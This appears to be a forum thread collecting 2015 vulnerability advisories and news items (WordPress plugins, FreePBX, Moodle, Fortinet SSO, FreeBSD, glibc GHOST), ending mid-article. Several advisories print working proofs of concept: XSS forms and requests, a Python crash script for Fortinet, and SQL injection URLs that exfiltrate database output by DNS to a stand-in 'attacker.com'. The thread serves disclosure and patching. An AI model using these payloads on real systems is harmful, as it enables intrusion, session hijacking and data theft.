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  1. Advisory ID: HTB23257 Product: WP Photo Album Plus WordPress Plugin Vendor: J.N. Breetvelt Vulnerable Version(s): 6.1.2 and probably prior Tested Version: 6.1.2 Advisory Publication: April 29, 2015 [without technical details] Vendor Notification: April 29, 2015 Vendor Patch: April 29, 2015 Public Disclosure: May 20, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: CVE-2015-3647 Risk Level: Medium CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered stored XSS vulnerability in WP Photo Album Plus WordPress plugin, which can be exploited to perform Cross-Site Scripting attacks against administrators of vulnerable WordPress installation. An attacker might be able to hijack administrator’s session and obtain full control over the vulnerable website. The vulnerability exists due to the absence of filtration of user-supplied input passed via the "comname" and "comemail" HTTP POST parameters to "/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php" script when posting a comment. A remote attacker can post a specially crafted message containing malicious HTML or script code and execute it in administrator’s browser in context of the vulnerable website, when administrator views images or comments in administrative interface. A simple exploit below will store JS code in the WP database and display a JS popup window with "ImmuniWeb" word every time the administrator views comments or images: <form action="http://[host]/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php" method="post" name="main"> <input type="hidden" name="action" value='wppa'> <input type="hidden" name="wppa-action" value='do-comment'> <input type="hidden" name="photo-id" value='2'> <input type="hidden" name="comment" value='1'> <input type="hidden" name="moccur" value='1'> <input type="hidden" name="comemail" value='"><script>alert(/ImmuniWeb/);</script>'> <input type="hidden" name="comname" value='"><script>alert(/ImmuniWeb/);</script>'> <input type="submit" id="btn"> </form> The code will be automatically executed, when the administrator visits one of the following pages: http://[host]/wp-admin/admin.php?page=wppa_manage_comments http://[host]/wp-admin/admin.php?page=wppa_moderate_photos ----------------------------------------------------------------------------------------------- Solution: Update to WP Photo Album Plus 6.1.3 More Information: https://wordpress.org/plugins/wp-photo-album-plus/changelog/ ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23257 - https://www.htbridge.com/advisory/HTB23257 - Stored Cross-Site Scripting (XSS) in WP Photo Album Plus WordPress Plugin. [2] WP Photo Album Plus WordPress plugin - https://wordpress.org/plugins/wp-photo-album-plus/ - This plugin is designed to easily manage and display your photos, photo albums, slideshows and videos in a single as well as in a network WP site. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Surs?: http://dl.packetstormsecurity.net/1505-exploits/wpphotoalbumplus612-xss.txt
  2. Advisory ID: HTB23255 Product: eShop WordPress plugin Vendor: Rich Pedley Vulnerable Version(s): 6.3.11 and probably prior Tested Version: 6.3.11 Advisory Publication: April 15, 2015 [without technical details] Vendor Notification: April 15, 2015 Public Disclosure: May 6, 2015 Vulnerability Type: Code Injection [CWE-94] CVE Reference: CVE-2015-3421 Risk Level: Medium CVSSv2 Base Score: 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N) Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered security vulnerability in eShop WordPress Plugin, which can be exploited by remote attacker to overwrite arbitrary PHP variables within the context of the vulnerable application. The vulnerability exists due to insufficient validation of user-supplied input in "eshopcart" HTTP cookie. Successful exploitation of this vulnerability may potentially result in arbitrary PHP code execution (RCE). Often such type of vulnerabilities lead to RCE, however in this case we can only overwrite string variables within the scope of 'eshop_checkout()' function in '/wp-content/plugins/eshop/checkout.php' file. This reduces our current vectors of exploitation to Full Path Disclosure and Cross-Site Scripting. Below is a simple PoC that overwrites contents of the "wpdb" PHP variable, which causes an error in code and discloses full installation path: GET /shopping-cart-2/checkout/ HTTP/1.1 Cookie: eshopcart=wpdb%3d1%7C; Another PoC triggers the XSS vector and executes JS pop-up box displaying "ImmuniWeb": GET /shopping-cart-2/checkout/ HTTP/1.1 Cookie: eshopcart=phone%3dsdfg'"><script>alert(/ImmuniWeb/)</script> ----------------------------------------------------------------------------------------------- Solution: Disclosure timeline: 2015-04-15 Vendor Alerted via contact form and thread in support forum, no reply. 2015-04-29 Vendor Alerted via contact form and emails, no reply. 2015-05-05 Fix Requested via contact form and emails, no reply. 2015-05-06 Public disclosure. Currently we are not aware of any official solution for this vulnerability. ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23255 - https://www.htbridge.com/advisory/HTB23255 - Arbitrary Variable Overwrite in eShop WordPress Plugin. [2] eShop WordPress Plugin - http://quirm.net/ - eShop is an accessible shopping cart plugin for WordPress, packed with various features. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Source
  3. Advisory ID: HTB23253 Product: FreePBX Vendor: Sangoma Technologies Vulnerable Version(s): 12.0.43 and probably prior Tested Version: 12.0.43 Advisory Publication: March 18, 2015 [without technical details] Vendor Notification: March 18, 2015 Vendor Patch: March 27, 2015 Public Disclosure: April 22, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: CVE-2015-2690 Risk Level: Low CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in FreePBX, which can be exploited to perform Cross-Site Scripting (XSS) attacks against web application administrators. This vulnerability can be used to steal administratorâs cookies, perform phishing and drive-by-download attacks. 1) Multiple XSS vulnerabilities in FreePBX: CVE-2015-2690 Input passed via multiple HTTP POST parameters to "/admin/config.php" script (when "type" is set to "setup", "display" is set to "digiumaddons", "page" is set to "add-license-form", and "addon" is set to "ffa") is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. The vulnerable HTTP POST parameters are: "add_license_key", "add_license_first_name", "add_license_last_name", "add_license_company", "add_license_address1", "add_license_address2", "add_license_city", "add_license_state", "add_license_post_code", "add_license_country", "add_license_phone", and "add_license_email". The exploitation example below will show JS pop-up displaying "ImmuniWeb": <form action="http://[host]/admin/config.php?type=setup&display=digiumaddons&page=add-license-form&addon=ffa" method="post" name="main"> <input type="hidden" name="add_license_key" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_first_name" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_last_name" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_company" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_address1" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_address2" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_city" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_state" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_post_code" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_country" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_phone" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_email" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_submit" value='Submit'> <input type="submit" id="btn"> </form> <script>document.main.submit()</script> ----------------------------------------------------------------------------------------------- Solution: Update Digium Addons Module of FreePBX installation to version 2.11.0.7 More Information: http://git.freepbx.org/projects/FREEPBX/repos/digiumaddoninstaller/commits/2aad006024b74c9ff53943d3e68527a3dffac855 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23253 - https://www.htbridge.com/advisory/HTB23253 - Reflected Cross-Site Scripting (XSS) in FreePBX. [2] FreePBX - http://www.freepbx.org - FreePBX is as an open source, web-based PBX solution. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVEÂŽ is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWebÂŽ SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Source: http://packetstorm.wowhacker.com/1504-exploits/freepbx-xss.txt
  4. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ## Advisory Information Title: FreeBSD 10.x ZFS encryption.key disclosure (CVE-2015-1415) Advisory URL: https://pierrekim.github.io/advisories/CVE-2015-1415.txt.asc Date published: 2015-04-07 Vendors contacted: FreeBSD Release mode: Coordinated release ## Product Description FreeBSD is a UNIX-like operating system. ## Vulnerability Summary FreeBSD 10.x installer supports the installation of FreeBSD 10.x on an encrypted ZFS filesystem by default. When using the encryption system within ZFS during the installation of FreeBSD 10.0 and FreeBSD 10.1, the encryption.key has wrong permissions which allow local users to read this file. Even if the keyfile is passphrase-encrypted, it can present a risk. ## Details By default, the encryption key file is /boot/encryption.key. Instead of being 0600, the permissions are 0644: $ ls -la /boot/encryption.key - -rw-r--r-- 1 root wheel 4096 Feb 17 15:16 /boot/encryption.key $ This file is readable by a local user. ## Vendor Response According to the vendor, a security advisory will be published, describing the problem and the solution. It concerns: - stable/10, 10.1-STABLE - releng/10.1, 10.1-RELEASE-p8 - releng/10.0, 10.0-RELEASE-p18 ## Report Timeline * Mar 01, 2015: Problem found by Pierre Kim * Apr 01, 2015: Vendor is notified of the vulnerability * Apr 01, 2015: Vendor confirms report and indicates a fix is prepared but there will be no security advisory format notification because of the nature of the problem * Apr 02, 2015: Pierre Kim asks a CVE number to the vendor * Apr 02, 2015: Vendor indicates to use CVE-2015-1415 and confirms that a signed notification to the mailing lists will be sent. * Apr 03, 2015: Pierre Kim contacts FreeBSD about the future notification * Apr 04, 2015: Vendor confirms a security advisory will be published next week * Apr 07, 2015: Vendor publishes a security advisory (FreeBSD-SA-15:08) * Apt 07, 2015: This advisory is sent to bugtraq@ ## Credit This vulnerability was found by Pierre Kim (@PierreKimSec). ## References https://www.freebsd.org/doc/handbook/bsdinstall-partitioning.html https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1415 https://www.freebsd.org/security/advisories/FreeBSD-SA-15:08.bsdinstall.asc ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCAAGBQJVJF22AAoJEMQ+Dtp9ky28NDgP/iW9YALiZKLPVhnShFEhFO4C SvSza1s7LJkhtOH8qOGplzTrn8wSV5BNhwzMaIaKpksP5RjoCkynxvAw/OncazPl tsfHM89m7bQ4puyXF3eb6lMkfaIkxoDAXM5R5DFb2Q+3wg4SDygdM7+BQEdqCXDV 2B+ZNGae2CcsqLq04zjskFgY2bwqNMyX3GbbmUJvVI5IXQIS30e1lVIq8zxcK7u0 lKFlVyp+gdyusenPz0lCqR82Pe1IA3tHuNn2zw3/EudT4VhD789/t/0lEWlSyNg7 uiTCqFpQXnpEnvXEez1gZiDuNccIMXXYv0agB+/mYkkoviQPk5jqCwI5rvs+ppFU IH0gAafqS/UIl5+/dhDdIVDA4+r4WWLUxJfFkDy4ThCQHZtZMCsBYk3/RNJBPDUW JiVZWV8LSSHtYfWj7YoiCswuC9FLp6CT9e+/XQUJjpNrwfpeT5KlFOCFUKQXwV6W 5nUJnQhjVfrXVjeRuOvMCInSwG8DWbfyX75QMmJNyV7aPMrS2prRXbOlTLuQUyzP cJkmToeO4XE4COV+jvtC+c39Booy3r8yp3lfHmz1NXffiv6Ua+11vLamUeYOVPew r4TmionPpSeAx3ODhKEKGjW+HIkl9sx3WcSnEBl88Aqd3Zv77G3ok4usFz4PvPnb /hnH/lhpePtv13jyZpXc =pOPH -----END PGP SIGNATURE----- Source
  5. It had to happen, we suppose: since even a utility-grade wind turbine might ship with a handy Webby control interface, someone was bound to do it badly. That's what's emerged in a new ICS-CERT advisory: CVE-2015-0985 details how turbines from US manufacturer XZERES allow the user name and password to be retrieved from the company's 442 SR turbine. As the advisory notes, “This exploit can cause a loss of power for all attached systems”. The turbine in question is, according to the company, “deployed across the energy sector” worldwide. It's part of a range of smaller-scale turbines from XZERES. The bug itself is basic: “The 442SR OS recognises both the POST and GET methods for data input,” the advisory states. “By using the GET method, an attacker may retrieve the username password from the browser and will allow the default user password to be changed. The default user has admin rights to the entire system.” Further, the bug is a cinch to exploit: “Crafting a working exploit for this vulnerability would be easy. There is no public exploit for this exact vulnerability. However, code exists online that can be easily modified to initiate a CSRF with this vulnerability.” As always, users of the wind turbine are advised to keep the kit behind firewalls and only allow remote access over a VPN. XZERES has issued a manual patch for the vulnerability. Source
  6. Several security holes that affect Tails 1.3 are now fixed in Tails 1.3.1. We strongly encourage you to upgrade to Tails 1.3.1 as soon as possible. Details Tor Browser: Mozilla Foundation Security Advisory 2015-28, Mozilla Foundation Security Advisory 2015-29 Linux: CVE-2015-1465, CVE-2015-1420 and CVE-2015-1593 OpenSSL: Debian Security Advisory 3197 file and libmagic: Debian Security Advisory 3196 libxfont: Debian Security Advisory 3194 tcpdump: Debian Security Advisory 3193 libgnutls26: Debian Security Advisory 3191 libav: Debian Security Advisory 3189 FreeType 2: Debian Security Advisory 3188 ICU: Debian Security Advisory 3187 NSS: Debian Security Advisory 3186 libgcrypt11: Debian Security Advisory 3185 GnuPG: Debian Security Advisory 3184 libssh2: Debian Security Advisory 3182 libarchive and bsdtar: Debian Security Advisory 3180 libgtk2-perl: Debian Security Advisory 3173 CUPS: Debian Security Advisory 3172 https://tails.boum.org/security/Numerous_security_holes_in_1.3/index.en.html
  7. 1. Advisory Information Title: Fortinet Single Sign On Stack Overflow Advisory ID: CORE-2015-0006 Advisory URL: http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow Date published: 2015-03-18 Date of last update: 2015-03-18 Vendors contacted: Fortinet Release mode: Coordinated release 2. Vulnerability Information Class: Stack-based Buffer Overflow [CWE-121] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2015-2281 3. Vulnerability Description Through Fortniet [1] "Single Sign On" or "Single User Sign On" users logged on to a computer network are authenticated for access to network resources through the FortiGate unit without having to enter their username and password again. Fortinet Single Sign On (FSSO) provides Single Sign On capability for Microsoft Windows networks using either Active Directory or NTLM authentication and Novell networks, using eDirectory. FSSO [4] monitors user logons and sends the FortiGate unit the username, IP address, and the list of Windows AD user groups to which the user belongs. When the user tries to access network resources, the FortiGate unit selects the appropriate security policy for the destination. If the user belongs to one of the permitted user groups, the connection is allowed. There is a vulnerability in the message dispatcher used by FSSO Windows Active Directory and FSSO Novell eDirectory. Exploitation of this vulnerability might lead to a full network compromise. 4. Vulnerable packages - FSSO Windows Active Directory 4.3.0161 (4.3.0151, 4.3.0129 were also tested and found vulnerable) - FSSO Novell eDirectory 4.3.0161 Other versions are probably affected too, but they were not checked. 5. Vendor Information, Solutions and Workarounds Core Security recommends those affected use third party software such as Sentinel [3] or EMET [2] that could help to prevent the exploitation of affected systems to some extent. Fortinet published the following FortiGuard Bulletin: [5] 6. Credits This vulnerability was discovered and researched by Enrique Nissim in collaboration with Andres Lopez Luksenberg, both from the Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security Advisories Team. 7. Technical Description / Proof of Concept Code [CVE-2015-2281] The vulnerability in both cases can be exploited by sending a special packet to the services without being authenticated (pre-auth). Given that both software systems require and Administrative account in order to run, (Windows Domain Admin or eDirectory Admin accordingly) the full network is exposed. Pre-authenticated Remote Code Execution with Domain Administrative rights is possible. The vulnerability is located in the Message Dispatcher for message PROCESS_HELLO. Here is a PoC (Proof of Concept) that causes the application thread with the FortiGate appliance to crash: import socket import struct TARGET_IP = "192.168.233.100" def play(): message = "\x80\x01\x42\x42" buff = "A"*248 buff += "B" * (0xfffff - len(buff)) payload = struct.pack(">I", 0x000fffff) + message + buff s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, 8000)) s.send(payload) buff_recv = s.recv(6000) print buff_recv s.close() play() 8. Report Timeline 2015-01-07: Core Security notifies Fortinet of the vulnerabilities. Publication date is set for February 2nd, 2015. 2015-01-09: Fortinet requests a copy of the advisory draft. 2015-01-09: Core Security sends a draft copy of the advisory to the vendor. 2015-01-14: Fortinet informs they are in the process of validating the report and asks if we want to commit to responsible disclosure. 2015-01-14: Core Security informs the vendor that our policy is to publish our findings in order to help the users to gain awareness of the issues and therefore allowing them to take the necessary precautions to protect themselves. We informed them that we always try to release our findings in a coordinate manner provided that the time the vendor takes to test and fix the issue is reasonable and the publication of this solution and our disclosure is agreed between the two parties. 2015-01-21: Core Security asks the vendor if they were able to review the vulnerabilities and a tentative date for publishing the fix and consequently the advisory. 2015-01-27: Fortinet acknowledges the vulnerabilities and informs that a fix of the source code is in order. The say they'll keep us updated regarding the release schedule. 2015-02-24: Fortinet informed us that the current ETA was the first week of March, but that it could be changed depending on their engineering load. 2015-02-24: Core Security requested a specific date considering that the first week of March was next week. 2015-02-27: Fortinet informed us that they currently don't have a fixed date. Additionally they sent us the link where their FortiGuard Bulletin is going to be published. They requested the CVE ID we are going to assign this issue. 2015-03-05: Core Security informs Fortinet that we still don´t have a CVE ID to share with them because we haven't received one from Mitre yet. 2015-03-05: Fortinet informed us that they were discussing when they were going to release the fix/update, and that they will provide us an ETA tomorrow. 2015-03-06: Fortinet informed us that their new ETA is March 11th, 2015. They clarify this is not a fixed date. 2015-03-11: Fortinet informed us that they postponed to the end of the week or next week the ETA of FortiOS 5.2.3. 2015-03-13: Core Security asks Fortinet about the status of the ETA for the fix/update. Additionally we recommended not to release it on a Friday in order to give the affected users the required time to apply the fix. 2015-03-16: Core Security asks Fortinet if they could send us their estimated ETA for the fix/update. 2015-03-16: Fortinet informed us that the current ETA is March 17th or March 18th. 2015-03-18: Advisory CORE-2015-0006 published. 9. References [1] http://www.fortinet.com/. [2] http://support.microsoft.com/kb/2458544. [3] https://github.com/CoreSecurity/sentinel. [4] http://docs-legacy.fortinet.com/cb/html/index.html#page/FOS_Cookbook/Authentication/FSSO-IBP.html. [5] http://www.fortiguard.com/advisory/FG-IR-15-006/. 10. About CoreLabs CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. About Core Security Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. Disclaimer The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. PGP/GPG Keys This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. Source
  8. Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting Vendor: Moodle Pty Ltd Product web page: https://www.moodle.org Affected version: 2.8.3, 2.7.5, 2.6.8 and 2.5.9 Summary: Moodle is a learning platform designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments. Desc: Moodle suffers from persistent XSS vulnerabilities. Input passed to the POST parameters 'config_title' and 'title' thru index.php, are not properly sanitized allowing the attacker to execute HTML or JS code into user's browser session on the affected site. Affected components: Blocks, Glossary, RSS and Tags. Tested on: nginx PHP/5.4.22 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5236 Advisory URL: [url]http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5236.php[/url] Vendor Advisory ID: MSA-15-0013 Vendor Advisory URL: [url]https://moodle.org/mod/forum/discuss.php?d=307383[/url] CVE ID: CVE-2015-2269 CVE URL: [url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2269[/url] 09.02.2015 -- Random Glossary Entry --------------------- POST [url]http://WEB/my/index.php[/url] HTTP/1.1 _qf__block_glossary_random_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=304 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_addentry=test config_invisible=test2 config_refresh=0 config_showconcept=1 config_title=" onmouseover=prompt("XSS1") > config_type=0 config_viewglossary=test3 mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Remote RSS Feeds ---------------- POST [url]http://WEB/my/index.php[/url] HTTP/1.1 _qf__block_rss_client_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=312 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_block_rss_client_show_channel_image=0 config_block_rss_client_show_channel_link=0 config_display_description=0 config_rssid=_qf__force_multiselect_submission config_rssid[]=3 config_shownumentries=11 config_title=" onmouseover=prompt("XSS2") > mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Tags ---- POST [url]http://WEB/my/index.php[/url] HTTP/1.1 _qf__block_tags_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=313 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_numberoftags=80 config_tagtype= config_title=Tags" onmouseover=prompt("XSS3") > mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Older not supported versions ---------------------------- POST [url]http://WEB/blog/index.php[/url] HTTP/1.1 blockaction=config filterselect=1343 filtertype=user instanceid=4992 numberoftags=20 sesskey=0QCG5LQz0Q sort=name timewithin=90 title=ZSL"><script>alert(document.cookie);</script> Source
  9. Advisory ID: HTB23250 Product: Huge IT Slider WordPress Plugin Vendor: Huge-IT Vulnerable Version(s): 2.6.8 and probably prior Tested Version: 2.6.8 Advisory Publication: February 19, 2015 [without technical details] Vendor Notification: February 19, 2015 Vendor Patch: March 11, 2015 Public Disclosure: March 12, 2015 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2015-2062 Risk Level: Medium CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered an SQL injection vulnerability in Huge IT Slider WordPress Plugin. This vulnerability can be exploited by website administrators as well as anonymous attackers to inject and execute arbitrary SQL queries within the application’s database. 1) SQL injection in Huge IT Slider WordPress plugin: CVE-2015-2062 The vulnerability exists due to insufficient filtration of input data passed via the "removeslide" HTTP GET parameter to "/wp-admin/admin.php" script when "task" parameter is set to "popup_posts" or "edit_cat". A remote authenticated attacker with administrative privileges can execute arbitrary SQL queries within the application’s database. Below are two simple exploit codes that are based on DNS Exfiltration technique. They can be used if the database of the vulnerable application is hosted on a Windows system. The codes will send a DNS request requesting IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker). 1. Exploit example for "task=popup_posts": http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- 2. Exploit example for "task=edit_cat": http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=edit_cat&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- This vulnerability can be also exploited remotely by non-authenticated attackers using CSRF vector, since the web application is also prone to Cross-Site Request Forgery attacks. The attacker could use the following exploit code against authenticated website administrator to determine version of installed MySQL server: <img src="http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --"> ----------------------------------------------------------------------------------------------- Solution: Update to Huge IT Slider 2.7.0 More Information: https://wordpress.org/support/topic/huge-it-slider-security-vulnerability-notification-sql-injection ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23250 - https://www.htbridge.com/advisory/HTB23250 - SQL Injection in Huge IT Slider WordPress Plugin. [2] Huge IT Slider WordPress Plugin - http://huge-it.com/ - Huge IT slider is a convenient tool for organizing the images represented on your website into sliders. Each product on the slider is assigned with a relevant slider, which makes it easier for the customers to search and identify the needed images within the slider. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Source
  10. A critical vulnerability has been found in glibc, the GNU C library, that affects all Linux systems dating back to 2000. Attackers can use this flaw to execute code and remotely gain control of Linux machines. The issue stems from a heap-based buffer overflow found in the __nss_hostname_digits_dots() function in glibc. That particular function is used by the _gethostbyname function calls. “A remote attacker able to make an application call either of these functions could use this flaw to execute arbitrary code with the permissions of the user running the application,” said an advisory from Linux distributor Red Hat. The vulnerability, CVE-2015-0235, has already been nicknamed GHOST because of its relation to the _gethostbyname function. Researchers at Qualys discovered the flaw, and say it goes back to glibc version 2.2 in Linux systems published in November 2000. According to Qualys, there is a mitigation for this issue that was published May 21, 2013 between patch glibc-2.17 versions and glibc-2.18. “Unfortunately, it was not recognized as a security threat; as a result, most stable and long-term-support distributions were left exposed (and still are): Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7, Ubuntu 12.04, for example,” said an advisory from Qualys posted to the OSS-Security mailing list. Respective Linux distributions will be releasing patches; Red Hat has released an update for Red Hat Enterprise Linux v.5 server. Novell has a list of SUSE Linux Enterprise Server builds affected by the vulnerability. Debian has already released an update of its software addressing the vulnerability. “It’s everywhere, which is kind of the urgency we have here. This has been in glibc for a long time. It was fixed recently, but it was not marked as a security issue, so things that are fairly new should be OK,” said Josh Bressers, a member of the Red Hat security response team. “From a threat level, what it comes down to is 